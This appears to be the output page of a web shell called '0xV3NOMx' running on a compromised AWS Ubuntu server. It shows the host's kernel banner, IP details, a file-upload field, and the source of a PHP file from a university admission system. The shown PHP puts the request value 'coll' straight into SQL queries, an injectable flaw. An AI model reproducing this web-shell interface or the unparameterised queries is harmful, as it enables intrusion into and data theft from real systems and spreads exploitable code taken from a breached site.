0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.118.144.239


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/masterDegree.php

<?php

function getSelDeg($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $univcode = $aobj_context->mobj_data['univcode'];
    $collcode = $aobj_context->mobj_data['coll'];
    $typ = $aobj_context->mobj_data['type'];	
  
    if($typ == 'Selected Only'){
        $query = "select B.FDEGREE,B.FDESCPN,A.FDELETED ,
		IF(A.FDELETED='F','CHECKED',' ') AS CHECKED from colldeg A 
		left join degree B on A.FDEGREE = B.FDEGREE 
		Where A.FCOLLCODE='{$collcode}' and A.FDELETED='F'  group by A.FDEGREE";
    }else{
        $query = "select A.FDEGREE, A.FDESCPN, IF(B.FDELETED='F','CHECKED',' ') AS CHECKED from
        (select FDEGREE, FDESCPN from degree
        group by FDEGREE) A	
        LEFT JOIN colldeg B on A.FDEGREE = B.FDEGREE and B.FCOLLCODE='{$collcode}' and B.FDELETED='F'						 
        group by A.FDEGREE";
    }
   
    $result = $aobj_context->pobj_db->GetAll($query);
    
    if($result)
    {
    echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
    }
    else
    {
    $arr['msg'] = 'No Data found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 	
    }	
}

?>